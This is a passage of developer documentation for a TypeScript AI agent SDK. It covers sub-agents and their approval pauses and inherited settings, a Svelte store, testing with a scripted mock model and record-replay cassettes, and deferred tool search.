The lead's approval snapshot keeps only the remote session id, the remote
approval id, the `taskId` and the sub-agent's name, so a fresh lead process on
the same store can decide it; the bearer token is never stored (it is read from
the `remoteAgent()` options again). A failure while deciding (a 401, any other
non-2xx answer such as the remote's 404 for an approval no longer pending, a
network error) is the structured tool error of that `task` call with the codes
above, and the lead run continues. Only a run without an approval store (a bare
`AgentExecutor`) still fails the task with `LOUSHO_SESSION_AWAITING_APPROVAL`,
naming the remote session and approval id to decide on the remote agent.

`remoteAgent()` covers agents deployed over HTTP. A different kind of
"remote" sub-agent is another agent framework's runner used in process -
build one against the same contract with `defineRemoteSubagent()` (below) or
use the ready-made Pi adapter.

## Pi coding-agent sub-agents (`piAgent()`)

`piAgent()` runs a [Pi coding agent](https://github.com/earendil-works/pi)
(`@earendil-works/pi-coding-agent`, an optional peer - `npm install
@earendil-works/pi-coding-agent`) in process as a sub-agent. It is Node-only:
Pi's tools (`read`, `bash`, `edit`, `write`, ...) work on a local directory.

```ts theme={null}
import { createAgent, piAgent, ask, allow } from '@lousho/build-ai-agent';
import { ModelRuntime } from '@earendil-works/pi-coding-agent';

const runtime = await ModelRuntime.create(); // reads ~/.pi/agent auth, env keys
const lead = createAgent({
  model: 'openai/gpt-4o-mini',
  instructions: 'You coordinate.',
  subagents: {
    coder: piAgent({
      cwd: process.cwd(),                    // the directory Pi's tools work in
      model: runtime.getModel('openrouter', 'openai/gpt-4o-mini'),
      description: 'Edits code and runs tests in the workspace',
      permissions: [ask(['edit', 'write']), allow('*')], // same rules as createAgent()
    }),
  },
});
```

Each `task` call is one Pi session: the task's `sessionId` becomes the Pi
session id, so a `taskId` resume - and the resume after an approval pause,
even in a fresh process - reopens the same session file and the next prompt
continues its transcript. A pi task cannot be forked (the `task` call fails
with the remote-session "cannot be copied" error). Options: `cwd` (required),
`model`, `modelRuntime`, `description` (required), `name`, `permissions`,
`agentDir`, `sessionDir`, `tools` (a Pi tool allowlist), `thinkingLevel`.

The `permissions` rules gate every Pi tool call (the Pi `tool_call`
extension event fires before the tool runs): `deny` refuses the call, and
`ask` pauses the lead run for approval exactly like a remote sub-agent's -
`result.finishReason` is `'awaiting-approval'` and the pending approval
carries the Pi tool name, its arguments and `subagentPath`. Approving tells
Pi the call was approved and lets that exact tool name + arguments call run
once (Pi has no "run the blocked call" API, so the model re-issues it and
the gate allows that one call); rejecting sends the decision's note as the
next user turn and the denied call never runs. Without an approval store an
`ask` is refused outright. A paused Pi run keeps its usage on the pause and
its continuation reports the rest, the same accounting as `remoteAgent()`.

`SubagentApprovalPause` (now exported) is what such an adapter throws to
pause the lead; `defineRemoteSubagent(impl)` registers any object matching
`RemoteSubagent` for use in `subagents`, so a `task` call routes it through
the remote path.

## Depth

`maxSubagentDepth` (default `1`) bounds how deep sub-agents nest. With the
default, the lead can call sub-agents but they cannot call sub-agents of their
own: a run at the limit is simply not offered the `task` tool, even if it was
created with `subagents`. `maxSubagentDepth: 2` lets the lead's sub-agents
delegate once more. The top-level run's value applies to the whole tree; a
sub-agent's own `maxSubagentDepth` only matters when it runs as a top-level
agent.

## What a sub-agent inherits

The sub-agent keeps its own instructions, model/provider, tools, skills and
`maxSteps`, and its context is isolated. From the run that called it, it
inherits:

| Runtime setting | Inherited? | Notes |
| - | - | - |
| Abort `signal` | Yes | Aborting the lead aborts its sub-agents. |
| Tracing (`exporter`) | Yes | The sub-agent's `invoke_agent` span is a child of the lead's `execute_tool task` span. `captureContent` and `redactContent` are inherited too. |
| Hooks (`hooks`) | Yes | They run on the sub-agent's model calls and tool calls, with `ctx.subagent` set (see below). A hook that throws inside a sub-agent halts the whole run. |
| Approval store (`approvalStore`) | Yes | See [Approvals](#approvals-inside-a-sub-agent). |
| Event listeners (`onAgentEvent`, `createAgent({ onEvent })`) and `stream()` | Yes | The sub-agent's events are forwarded with a `subagent` field. |
| `toolConcurrency` | Yes, unless the sub-agent sets its own | |
| `sandbox` | Yes | |
| Token usage | Rolls up | Added to the lead's `result.usage` (totals, `byModel`, and `usage.delegated`, whose `toolErrors` counts the sub-agents' failed tool calls) and counted against its `limits`, also when the sub-agent fails after spending tokens; a remote sub-agent's under `byModel['remote:<name>']`. |
| Token, cost and duration `limits` | Shared | A sub-agent is also held to the lead's limits, counted with what the lead and its other sub-agents still running have spent: once they are reached, the sub-agent stops (`'budget-exceeded'`) before its next model call or tools, and the lead stops before its next model call. See [Budgets](/configuration#budgets). |
| `maxSubagentDepth` | The remaining budget | See [Depth](#depth). |
| `permissionMode` | Yes, unless the lead's is `'default'` | The sub-agent runs under the lead's [permission mode](/permission-modes#sub-agents), read at each of its tool calls; while the lead's is `'default'`, under its own (a sub-agent whose own mode is `'plan'` always stays in plan mode). A remote sub-agent does not inherit it: plan mode refuses a `task` call to one. |
| `principal` | Yes | Who the lead's run acts for (route auth's caller, a channel's sender); a remote sub-agent is not told. |
| `metadata` | Yes | The lead run's `metadata` — the sub-agent's hooks see it. |
| `memory` | No | The lead's memory slots stay the lead's. A sub-agent with its own `memory` recalls into its own prompt and gets its own memory tools, scoped by the lead run's `sessionId`, `metadata` and `principal` (see [Memory](/memory#limitations)). |
| `onLLMRequest`, `onToolCall` and the other single-run callbacks | No | They describe one run; use hooks or an event listener to observe sub-agents. |
| `sessionId` / `checkpointStore` | No | A sub-agent is not checkpointed on its own. If the process dies while a sub-agent runs, the resumed lead runs that `task` call again. |
| `output` schema | No | A sub-agent's output is its own: with one, `task` returns its validated object as JSON (see [Structured output](/structured-output#sub-agents)); without, text. |
| Conversation history | No | The sub-agent sees only the task prompt (plus its own earlier turns when the lead [resumes the task](#continuing-a-task)). |

### Hooks inside sub-agents

See [Hooks](/hooks) for the hook points and outcomes.

A parent's hooks apply to its sub-agents by default. `ctx.subagent` tells a
hook it is running inside one - the sub-agent's `name`, its `depth` (1 for a
sub-agent of the top-level run), the lead's `toolCallId` that started it, and
the enclosing sub-agent as `parent` when nested deeper. A hook that should only
see the top-level run returns early:

```ts theme={null}
import { HookRegistry } from '@lousho/build-ai-agent';

const hooks = new HookRegistry();
hooks.register({
  name: 'audit',
  preToolCall(ctx) {
    if (ctx.subagent) return; // top-level tool calls only
    console.log('tool call', ctx.toolName, ctx.args);
  },
});
```

### Events

`agent.stream()` / `AgentExecutor.stream()` on the lead stream each
sub-agent's run inside the same stream - steps, text deltas, tool events and
errors - with a `subagent` field on every one of its events, so a UI can nest
sub-agent activity under the lead's `task` call (`subagent.toolCallId`). See
[Streaming: sub-agents](/streaming#sub-agents).

A listener on the lead (`createAgent({ onEvent })` or `onAgentEvent`) gets
the same events, sub-agents' included, as they happen. See
[Listening without iterating](/streaming#listening-without-iterating).

## Approvals inside a sub-agent

When a sub-agent calls a tool that `needsApproval`, the **whole run pauses**:
the lead's `send()` resolves with `finishReason: 'awaiting-approval'` and
an `approvalId`, and the approval store holds ONE record whose pending call is
the sub-agent's call (`toolName`, `args`) with `subagentPath` naming the
sub-agents it runs inside (e.g. `['researcher']`). Approve or reject it with
`lead.approvals.resolve({ id, approved })` (the lead already knows its
`subagents`; the in-memory approval store is the default, so no `approvalStore`
is needed):

```ts theme={null}
import { createAgent } from '@lousho/build-ai-agent';

const lead = createAgent({
  provider,
  instructions: 'You lead.',
  subagents: { researcher: createAgent({ provider, instructions: 'You research.', description: 'Researches' }) },
});

const paused = await lead.send('Go');
if (paused.finishReason === 'awaiting-approval' && paused.approvalId) {
  const result = await lead.approvals.resolve({ id: paused.approvalId, approved: true });
  console.log(result.text);
}
```

Resuming runs (or rejects) the sub-agent's pending call, lets the sub-agent
finish, returns its final answer to the lead as the `task` result, and then
continues the lead. If the sub-agent needs another approval, the run pauses
again with a new `approvalId`. This works at any depth.

The lead's `approve` option decides its sub-agents' calls too.

Guarantees and limits:

* No call runs twice and none is lost: the sub-agent's paused state is stored
  inside the lead's approval record (plain JSON, so any `ApprovalStore`
  works), and the approved call runs exactly once, on resume.
* Other tool calls of the same lead turn that finished keep their results and
  are not run again.
* One approval is pending per run. If two sub-agents pause in the same turn,
  the run pauses on the first (in call order); the second sub-agent stops and
  the lead gets an error result for that `task` call saying its call was not
  run, so it can ask again after the approval.
* A `task` call's pre/post tool hooks fire again on resume, like the hooks of
  any approved tool.
* A sub-agent whose definition changed since the pause (instructions, model
  or tools) is handled by the lead's `onAgentDrift`, like the lead itself:
  `'error'` rejects the resume and leaves the approval pending, `'warn'` (the
  default) warns and emits `agent.drift` with `subagent` set. A sub-agent that
  no longer has the approved call's tool always rejects with
  `LOUSHO_RESUME_TOOL_MISSING`. See
  [Resuming with a changed agent](/durable-execution#resuming-with-a-changed-agent).
* Token usage keeps adding up across the pause: the sub-agent's usage before
  the pause is in the paused result, and what it spends after the resume is
  added to the resumed lead's `result.usage`.
* A background sub-agent's approval pauses the lead when the lead awaits it
  with `agent_await`; see [Background sub-agents](#when-the-lead-run-ends).

#### Advanced: the executor API

With `AgentExecutor.execute()` as the lead (see
[the executor API](/executor-api)), the run needs an `approvalStore`;
without one, the sub-agent's call becomes an error result and nothing runs.
Resume with `resumeAfterApproval()`, passing the same `subagents` option as the
paused run:

```ts theme={null}
import { AgentExecutor, resumeAfterApproval, ToolRegistry } from '@lousho/build-ai-agent/executor';
import { createAgent } from '@lousho/build-ai-agent';

const subagents = { researcher: createAgent({ provider, instructions: 'You research.', description: 'Researches' }) };

const paused = await AgentExecutor.execute({ agent, input: 'Go', provider, subagents, approvalStore });
if (paused.finishReason === 'awaiting-approval' && paused.approvalId) {
  const result = await resumeAfterApproval(
    { id: paused.approvalId, approved: true },
    approvalStore,
    new ToolRegistry(),
    provider,
    { subagents }
  );
  console.log(result.text);
}
```


# Svelte
Source: https://lousho.com/svelte



`loushoAgent()` for Svelte is the [React hook](/react) as a store: the same
sources, the same state and the same actions, over the same
[typed event stream](/streaming). Read [React](/react) for what each
field means, the two kinds of source, how approvals work and the server side;
this page covers what differs.

It lives in the `@lousho/build-ai-agent/svelte` subpath. The store implements
Svelte's store contract (`subscribe(run) => unsubscribe`) by hand, so it works
with `$agent` in Svelte 4 and 5 and needs no `svelte` import: there is no peer
dependency to install.

```ts theme={null}
import { loushoAgent } from '@lousho/build-ai-agent/svelte';

// In a component's <script lang="ts">, or a module that several components share:
export const agent = loushoAgent({ url: '/api/agent' }, { approvalsUrl: '/api/approvals' });

export async function submit(text: string): Promise<void> {
  if (text.trim()) await agent.send(text);
}
```

and in the component (a Svelte template, so not type-checked with the other
snippets here):

```html theme={null}
{#each $agent.messages as message (message.id)}
  <article>
    <header>{message.role}</header>
    <p>{message.text}</p>
    {#each message.toolCalls ?? [] as call (call.id)}
      <code>{call.name}: {call.status}</code>
    {/each}
  </article>
{/each}
{#if $agent.pendingApproval}
  <p>
    Run {$agent.pendingApproval.toolName}?
    <button on:click={() => agent.approve()}>Approve</button>
    <button on:click={() => agent.reject('Not now')}>Reject</button>
  </p>
{/if}
{#if $agent.status === 'streaming'}<button on:click={agent.stop}>Stop</button>{/if}
```

## What differs from React

* **State is the store value.** `$agent` is the React hook's state object:
  `messages`, `status`, `pendingApproval`, `error`, `usage`, `finishReason`, `todos`,
  `partialObject` and `lastEvent`.
  The commands (`send`, `stop`, `approve`, `reject`, `answer`) sit on the
  store itself with the React hook's signatures; they do not need a
  subscriber.
* **`reset()`** aborts the run in flight, forgets the in-process session
  (`{ agent, sessionId }` starts a new conversation; a remote `{ url }` source gets a new generated chat id) and clears the state.
* **The source and options are plain values**, read when a turn starts. To use
  another agent or `url`, create another store.
* **Cleanup is unsubscribing.** `stop()` aborts the request in flight, and so
  does the last subscriber going away (the component using `$agent` is
  destroyed). There is no `destroy()`: this is how Svelte stores stop their
  work. A transient read that subscribes and unsubscribes in the same turn,
  like `get(agent)` from `svelte/store`, does not count, so it never aborts a
  run. The store cannot tell such a read from a component that is mounted and
  destroyed within the same microtask turn (for example created and torn down
  in one synchronous block, or by a `{#if}` that flips back before the next
  microtask): that component's leaving does not abort the run either. A store
  nobody subscribes to still runs a turn you started with `send()`; call
  `stop()` yourself if you drop it or if you unmount that quickly.

The reducer and the stream parser are exported from this subpath too
(`reduceAgentEvents`, `initialAgentUIState`, `parseEventStream`), the same
ones as in `@lousho/build-ai-agent/react`.

## Todos

`loushoTodos(agent)` is a readable store derived from the `loushoAgent()` store:
`$plan` is the todo view with `todos`, `counts`, `current` (the `in_progress`
item, else the first `pending` one) and `progress` (`completed / total`). It
shows the plan of an agent with the [todo tools](/tools#todo-tools) live, from
the same stream as the chat, and notifies only when the list changes (see
[React](/react#todos)).

```ts theme={null}
import { loushoAgent, loushoTodos } from '@lousho/build-ai-agent/svelte';

export const agent = loushoAgent({ url: '/api/agent' });
export const plan = loushoTodos(agent);
```

```html theme={null}
<p>{$plan.counts.completed} of {$plan.counts.total} done ({Math.round($plan.progress * 100)}%)</p>
{#if $plan.current}<p>Now: {$plan.current.content}</p>{/if}
<ul>
  {#each $plan.todos as todo (todo.id)}<li>{todo.status}: {todo.content}</li>{/each}
</ul>
```


# Testing agents
Source: https://lousho.com/testing



`@lousho/build-ai-agent/testing` ships `mockModel`: a scripted, deterministic
`LLMProvider` for unit tests. You write down what the model should say on each
turn, run your agent, and then assert on exactly what the agent sent to the
model. No network, no API keys, no flakiness.

```bash theme={null}
npm install --save-dev vitest
```

## A text reply

A bare string is shorthand for `{ text }`.

```ts theme={null}
import { createAgent } from '@lousho/build-ai-agent';
import { mockModel } from '@lousho/build-ai-agent/testing';

const model = mockModel(['Hello! How can I help?']);
const agent = createAgent({ instructions: 'You are friendly.', provider: model });

const result = await agent.send('hi');

console.log(result.text); // Hello! How can I help?
console.log(model.calls.length); // 1
model.assertExhausted();
```

## A tool-call flow

Each element of the script is one model turn. Turn 1 asks for a tool; the agent
runs it and calls the model again; turn 2 produces the final answer. Tool-call
ids are generated deterministically (`call_1`, `call_2`, ...) unless you pass
`id`.

```ts theme={null}
import { describe, it, expect, vi } from 'vitest';
import { z } from 'zod';
import { createAgent, defineTool } from '@lousho/build-ai-agent';
import { mockModel } from '@lousho/build-ai-agent/testing';

describe('weather agent', () => {
  it('calls get_weather and reports the result', async () => {
    const execute = vi.fn(async ({ city }: { city: string }) => ({ city, tempC: 21 }));
    const getWeather = defineTool({
      name: 'get_weather',
      description: 'Get the weather for a city',
      input: z.object({ city: z.string() }),
      execute,
    });
    const model = mockModel([
      { toolCalls: [{ name: 'get_weather', args: { city: 'Paris' } }] }, // turn 1
      { text: 'It is 21°C in Paris.' },                                  // turn 2
    ]);
    const agent = createAgent({
      instructions: 'You report the weather.',
      provider: model,
      tools: [getWeather],
    });

    const result = await agent.send('Weather in Paris?');

    expect(result.text).toBe('It is 21°C in Paris.');
    expect(execute).toHaveBeenCalledWith({ city: 'Paris' }, expect.anything());
    expect(model.calls).toHaveLength(2);
    expect(model.calls[1].messages.at(-1)).toMatchObject({ role: 'tool', toolCallId: 'call_1' });
    model.assertExhausted(); // fails if scripted turns were never used
  });
});
```

## An error turn

`{ error }` makes the model call reject, so you can test how your agent behaves
when the provider fails.

```ts theme={null}
import { it, expect } from 'vitest';
import { createAgent } from '@lousho/build-ai-agent';
import { mockModel } from '@lousho/build-ai-agent/testing';

it('surfaces a provider failure', async () => {
  const model = mockModel([{ error: new Error('upstream 503') }]);
  const agent = createAgent({ instructions: 'x', provider: model });

  await expect(agent.send('hi')).rejects.toThrow();
  expect(model.calls).toHaveLength(1); // the failed request is still recorded
});
```

## Asserting requests

`model.calls` holds a deep-frozen snapshot of every request, in order, so later
mutation by the agent can never rewrite history. Use `model.lastCall` for the
most recent one.

```ts theme={null}
expect(model.calls[0].messages[0]).toMatchObject({ role: 'system' });
expect(model.lastCall?.tools?.map((t) => t.function.name)).toContain('get_weather');
// `createAgent()` has no `temperature` option; it reaches the request through a
// `preGenerate` hook (`ctx.request.temperature`) or `ExecuteOptions.temperature`.
expect(model.calls[0].temperature).toBe(0.2);
```

## Dynamic turns

Pass a function to compute a turn from the request. It may be async and may
return a string or any turn object.

```ts theme={null}
import { mockModel } from '@lousho/build-ai-agent/testing';

const model = mockModel([(req) => `You said: ${req.messages.at(-1)?.content}`]);
const result = await model.generate({ messages: [{ role: 'user', content: 'ping' }] });

console.log(result.text); // You said: ping
```

## Turn reference

| Field | Meaning |
| - | - |
| `text` | Assistant text (default `''`). |
| `toolCalls` | `[{ name, args?, id? }]`. Args are JSON-encoded; ids default to `call_N`. |
| `error` | Reject `generate()` / `stream()` with this error. |
| `usage` | `{ inputTokens, outputTokens }`; when omitted the turn reports no usage at all (`undefined`, like a backend that omits token counts, so the executor estimates and flags `usage.estimated`). |
| `finishReason` | Defaults to `'tool_calls'` when there are tool calls, otherwise `'stop'`. |
| `delayMs` | Wait before answering (works with `vi.useFakeTimers()`). |

## Running out of turns

If the agent calls the model more often than you scripted, `mockModel` throws
an error that names the unexpected call number, shows the last message of the
request and tells you to add a turn. To replay the final turn forever (handy for
loop and step-limit tests), pass `{ onExhausted: 'repeat-last' }`:

```ts theme={null}
import { mockModel } from '@lousho/build-ai-agent/testing';

const looping = mockModel([{ toolCalls: [{ name: 'again' }] }], { onExhausted: 'repeat-last' });
```

Other helpers: `model.reset()` rewinds the script and clears recorded calls, and
`model.assertExhausted()` throws if scripted turns remain unused.

## Streaming

`mockModel` also implements `stream()`: the scripted text is emitted as
`text-delta` chunks (split on word boundaries), followed by any `tool-call`
chunks and a final `finish` chunk, so streaming consumers can be tested too.

## Record and replay

`mockModel` scripts turns by hand. `recordReplay` is the complementary tool: a
VCR for real model behavior. Run your test once against the real provider and
every `generate()` / `stream()` exchange is written to a cassette file. In CI
the same test replays the cassette with no network, no API key and no installed
provider peer package. The `vendor/` model prefix chooses the provider; with
OpenRouter use `openrouter/<vendor>/<model>` (e.g.
`openrouter/openai/gpt-4o-mini`).

```ts theme={null}
import { createAgent, resolveProvider } from '@lousho/build-ai-agent';
import { recordReplay } from '@lousho/build-ai-agent/testing';

const provider = recordReplay(() => resolveProvider('openai/gpt-4o-mini'), {
  cassette: './__cassettes__/refund-flow.json',
  mode: process.env.LOUSHO_RECORD ? 'record' : 'replay', // or 'auto'
});
const agent = createAgent({ provider, instructions: 'You handle refund requests.' });
```

The first argument is the real provider, or a `() => provider` factory that is
only called when recording (so replay never constructs it). It may be
`undefined` if you only ever replay.

### Workflow

1. Record locally with a key: `LOUSHO_RECORD=1 OPENAI_API_KEY=... npx vitest run`.
2. Review and commit the cassette (it is stable, 2-space indented JSON, so
   diffs are readable).
3. CI runs `npx vitest run` and replays it. Nothing else is needed.
4. When you change the prompt, tools or flow, replay fails with a
   `CassetteMismatchError`; re-record with `LOUSHO_RECORD=1`.

`mode: 'auto'` replays if the cassette file exists and records otherwise.

For `defineEval()` evals you do not need to wrap the provider yourself:
`lousho eval --record` writes one cassette per eval case, `--replay` runs from
them, and `--drift` reports how each case's trajectory changed. See
[Record, replay and drift](/evals#record-replay-and-drift).

### What replay checks

By default call N is answered by entry N, but only if the request still matches
what was recorded: model, each message's role, content and tool calls, tool
names and parameter schemas, `temperature` and `maxTokens`. Tools are compared
by name, so registering the same tools in another order still matches (older
cassettes, which kept the registration order, too). On a mismatch the
error shows the first difference and the re-record hint:

```text theme={null}
Call #2 does not match the recorded request in ./__cassettes__/refund-flow.json.
First difference at request.messages[1].content:
  recorded: "Refund order 1234"
  actual:   "Refund order 9999"
If the change is intentional, re-record the cassette (run with LOUSHO_RECORD=1, or set mode: 'record').
```

That hint assumes you wired `mode` to `LOUSHO_RECORD` as above. If you record
some other way, pass `rerecordHint` with the command your project uses; under
`lousho eval` the hint names `npx lousho eval --record` instead.

For parallel or unordered calls pass `match: 'request'`: each call finds the
first unused entry with an identical request, in any order. Running out of
entries is also a `CassetteMismatchError`.

Volatile values do not break matching. Timestamps, dates (`2026-10-01`,
`October 1, 2026`), UUIDs and prefixed ids (`call_...`, `toolu_...`,
`chatcmpl_...`) are replaced by placeholders on both sides, and tool-call ids
are ignored (tool calls match by name and arguments). A tool's parameter schema
matches by what you wrote in it (property names, types, `optional`, enum values,
checks such as `min` or `int`, descriptions), not by how a zod major prints it,
so a cassette recorded with zod 3 replays with zod 4 and the other way round;
changing the schema itself still fails the match. For anything else, pass
`normalize`:

```ts theme={null}
import { mockModel, recordReplay } from '@lousho/build-ai-agent/testing';

const provider = recordReplay(mockModel(['ok']), {
  cassette: './__cassettes__/users.json',
  normalize: (request) => ({
    ...request,
    messages: request.messages.map((m) =>
      typeof m.content === 'string' ? { ...m, content: m.content.replace(/user-\d+/g, 'user-N') } : m
    ),
  }),
});
```

### Errors, streaming and usage

* A provider rejection is recorded and replayed as a rejection with the same
  `name` and `message`.
* `stream()` records the chunks and replays them as an async iterable without
  delays; pass `replayTiming: true` to reproduce the inter-chunk timing. While
  recording, the real stream is read to the end before it is returned.
* Token usage is recorded and replayed in full (including cached-input and
  reasoning tokens, and a provider-reported cost), so cost and usage features
  behave the same in replay.
* A `generate()` call's reasoning blocks (`result.reasoning`, with their
  signatures) are recorded and replayed; a stream keeps its reasoning in its
  recorded chunks. Cassettes recorded before these were kept still replay,
  without them.

### When the cassette is written

Recording writes the cassette atomically (temp file plus rename) after every
call, so a test that fails midway leaves a valid cassette with every call made
so far, never a half-written one. `await provider.save()` forces a write. There
is no process-exit hook. Each record session starts a fresh cassette and
replaces the old file. When the new recording holds exactly the same exchanges
as the old file, the old `recordedAt` and `sdkVersion` are kept, so an
unchanged re-record leaves the file byte for byte the same and shows no diff.

### Redaction (read this before committing)

Cassettes are meant to be committed, so the wrapper only writes a fixed set of
request fields (never headers or provider option bags), never writes
`rawResponse`, and redacts strings that look like API keys (`sk-...`,
`sk-ant-...`, `Bearer ...` tokens and a few other common formats) with
`[REDACTED]`. That is a safety net, not a guarantee: prompts and model replies
are stored verbatim, so personal data, internal URLs and customer text end up in
the file. Pass `redact` to scrub them (it runs on every recorded string, in both
requests and responses, and replay applies it when matching):

```ts theme={null}
import { mockModel, recordReplay } from '@lousho/build-ai-agent/testing';

const provider = recordReplay(mockModel(['ok']), {
  cassette: './__cassettes__/support.json',
  redact: (text) => text.replace(/[\w.+-]+@[\w-]+\.[\w.]+/g, '<email>'),
});
```

### mockModel or cassettes?

Use `mockModel` for unit tests of your own logic: you control every turn, can
inject errors and delays, and nothing depends on a model. Use cassettes when
the point is real model behavior (does this prompt and tool set actually lead
to the right tool call?) and hand-scripting turns would only encode your
assumptions. Cassettes need re-recording when prompts change; `mockModel` tests
only change when the behavior you assert on changes.


# Tool search
Source: https://lousho.com/tool-search



An agent with many tools (several MCP servers, a large internal toolkit) sends
every tool definition on every model call. That costs input tokens and, past
about 30 tools, makes the model worse at picking the right one. With tool
search, tools marked `deferLoading` are left out of the request. The model gets
one built-in tool, `tool_search`, finds what it needs with a few words, and the
tools it found are sent from its next step on.

The search runs in the SDK, so it works with every provider.

## When to use it

* The agent is connected to MCP servers with many tools, or has a large tool
  set, and most runs use only a few of them.
* The tool definitions take a noticeable share of the context window.

With a handful of tools there is nothing to gain: by default deferral only
applies when the deferred definitions reach 10% of the context window (see
[The threshold](#the-threshold)).

## Mark tools or servers `deferLoading`

Mark single tools with `defineTool({ deferLoading: true })`. The `vendor/`
model prefix chooses the provider; with OpenRouter use
`openrouter/<vendor>/<model>` (e.g. `openrouter/openai/gpt-4o-mini`).

```ts theme={null}
import { createAgent, defineTool } from '@lousho/build-ai-agent';
import { z } from 'zod';

const convertCurrency = defineTool({
  name: 'convert_currency',
  description: 'Convert an amount of money from one currency to another',
  input: z.object({ amount: z.number(), from: z.string(), to: z.string() }),
  deferLoading: true,
  execute: async ({ amount, to }) => ({ amount: amount * 0.92, currency: to }),
});

const lookupStock = defineTool({
  name: 'lookup_stock',
  description: 'Look up the latest price of a stock ticker',
  input: z.object({ ticker: z.string() }),
  deferLoading: true,
  execute: async ({ ticker }) => ({ ticker, price: 123.45 }),
});

const agent = createAgent({
  model: 'openai/gpt-4o-mini',
  instructions: 'You are a helpful assistant.',
  tools: [convertCurrency, lookupStock],
  toolSearch: { thresholdPercent: 0 }, // defer even this small set (see below)
});
```

Or mark a whole MCP server: every tool it lists is deferred.

```ts theme={null}
import { createAgent } from '@lousho/build-ai-agent';

const agent = createAgent({
  model: 'openai/gpt-4o-mini',
  mcpServers: {
    github: { url: 'https://example.com/github/mcp', deferLoading: true },
    files: { command: 'npx', args: ['-y', '@modelcontextprotocol/server-filesystem', '.'] },
  },
});
```

`deferLoading` works the same in spec files and agent directories
(`mcpServers.<name>.deferLoading: true`), and with `connectMcp()`: the
descriptors it returns carry `deferLoading`, so passing `mcp.tools` to
`createAgent({ tools })` keeps the deferral.

Never deferred, whatever they are marked: `load_skill` ([skills](/skills)),
memory tools, `task` and the background task tools ([sub-agents](/sub-agents)),
`ask_question`, the `transfer_to_<name>` tools of [handoffs](/handoffs), and
`tool_search` itself. Hosted provider tools are always sent.

## What the model sees

When deferral applies, a run's first request has the tools that are not
deferred plus `tool_search`, and the system prompt gets one paragraph: how many
tools are not loaded, the MCP servers they come from (with counts), and to call
`tool_search` with a few words describing the capability needed.

`tool_search` takes `{ query: string }` and returns JSON:

```json theme={null}
{ "loaded": [{ "name": "convert_currency", "description": "Convert an amount of money from one currency to another" }], "more": 38 }
```

`loaded` lists the tools found by this search (at most `maxResults`); `more`
counts the deferred tools still not loaded. From the next step on, the
request includes them. Once every deferred tool is loaded, `tool_search` is no
longer offered.

A deferred tool the model calls by name before it is loaded runs like any other
tool (approvals, permissions and guardrails apply as usual). `stream()` reports
`tool_search` as an ordinary `tool.start` / `tool.done` pair.

The default ranking compares the query's words with each deferred tool's name
(split on `_`, `-`, `__` and camelCase) and description, case-insensitively.
A word found in the name counts three times as much as one found in the
description; plurals are folded (`statuses` finds `status`). A related word
gets partial credit: the same word family (`sending` finds `send`) or a synonym
from a small built-in table of common tool verbs and nouns (`fetch` / `get` /
`retrieve`, `delete` / `remove`, `share` / `stock` / `equity`,
`value` / `price` / `quote`), so `share value` finds `fetch_equity_quote`.
Exact words still rank above related ones; ties are ordered by name. The same
function is exported as `rankToolsByKeywords(query, tools)`. It stays
lexical: for real semantic search, pass your own `search` (for example
embeddings).

## `toolSearch` options

`createAgent({ toolSearch })` and `AgentExecutor.execute({ toolSearch })` tune
the search. Deferral itself is turned on by marking tools or servers
`deferLoading`; `toolSearch: false` loads every tool upfront.

| Option | Default | Description |
| - | - | - |
| `thresholdPercent` | `0.1` | Defer only when the deferred definitions reach this share of the context window. `0` always defers. |
| `maxResults` | `5` | Tools loaded per search. |
| `contextWindow` | the model registry, else 128,000 | The model's context window, for the threshold. The 128,000 fallback logs a one-time `console.warn`; set it (or `registerModel()`) for local models. |
| `search(query, tools)` | keyword ranking | Your own ranking (for example embeddings): return tool names, best first. Unknown names and duplicates are dropped. If it throws, the call is a tool error and loads nothing. |

```ts theme={null}
import { createAgent } from '@lousho/build-ai-agent';

const agent = createAgent({
  model: 'openai/gpt-4o-mini',
  mcpServers: { github: { url: 'https://example.com/github/mcp', deferLoading: true } },
  toolSearch: {
    maxResults: 3,
    search: (query, tools) => tools.filter((tool) => tool.description.toLowerCase().includes(query.toLowerCase())).map((tool) => tool.name),
  },
});
```

An invalid value throws `LOUSHO_CONFIG_INVALID` when the agent is created. A
tool of your own called `tool_search` throws `LOUSHO_CONFIG_INVALID` when a run
starts with deferral active: rename it, or set `toolSearch: false`.

## The threshold

When a run starts, the SDK estimates the tokens of the deferred definitions
(name, description and JSON Schema of each, with `estimateTokens()` for the
run's model). Below `thresholdPercent` of the context window, every tool is
sent upfront and no `tool_search` tool is added: the definitions are cheap, and
a search step would cost more than it saves. This is the same rule as the
Claude Agent SDK's `auto` mode.

The live test of this feature (40 one-line tools on `gpt-4o-mini`) measured
157 input tokens on the first call with deferral and 892 without.

## How loading persists

Which tools are loaded is not stored anywhere: it is read from the transcript
at each model call. A tool is loaded when a successful `tool_search` result in
the run's messages names it. So:

* A crash resume from a checkpoint, an approval pause and its resume, a fork,
  and the next turn of a session keep the loaded tools.
* A resume does not report [agent drift](/durable-execution#resuming-with-a-changed-agent)
  because of loading: the fingerprint covers every tool, deferred or not.
* [Compaction](/compaction) that prunes a `tool_search` result unloads its
  tools from the next model call on; the model searches again when it needs
  them.
* A [handoff](/handoffs) target starts with nothing loaded, even when it
  has the same deferred tools: only `tool_search` results after the last
  handoff count, and the target's own `deferLoading` tools and `toolSearch`
  apply. A [sub-agent](/sub-agents) runs its own tool list on its own
  transcript, so it never inherits what the lead loaded.

## MCP servers that need a sign-in

Listing a server's tools needs a connection, so a `deferLoading` server with
[OAuth](/oauth#mcp-servers-with-oauth) that is not signed in fails the run
with `LOUSHO_MCP_AUTH_REQUIRED` like any other server. Once the operator signs
in, its tools are deferred as usual. A grant revoked later turns a call of a
loaded tool into a `LOUSHO_MCP_AUTH_REQUIRED` tool error, as without deferral.

## Prompt caching

The tool list changes when tools load. OpenAI caches the request prefix
automatically, and for Claude models the SDK marks Anthropic cache breakpoints
([`promptCaching: 'auto'`](/models-and-cost#prompt-caching)). Both put tool
definitions at the start of the prefix, so a step that loads tools misses the
cache from that point and writes a new entry. Loading happens a few times per run at most. If your runs reuse a long cached
prefix across many calls, compare the cost with `toolSearch: false`.


# Tools
Source: https://lousho.com/tools



A tool is a typed function the model can call. Define one with `defineTool()`:
the argument and result types are inferred from its zod `input`, the arguments
are validated before `execute` runs, and the result drops in anywhere tools are
accepted (`createAgent({ tools: [...] })`, `ToolRegistry.register(tool)`,
`AgentBuilder.addTool(tool)`).

> Snippets on this page leave some names to you: `provider` is any `LLMProvider` (offline: `createMockProvider()`).

```ts theme={null}
import { defineTool, createAgent, type ToolInput, type ToolOutput } from '@lousho/build-ai-agent';
import { z } from 'zod';

const weather = defineTool({
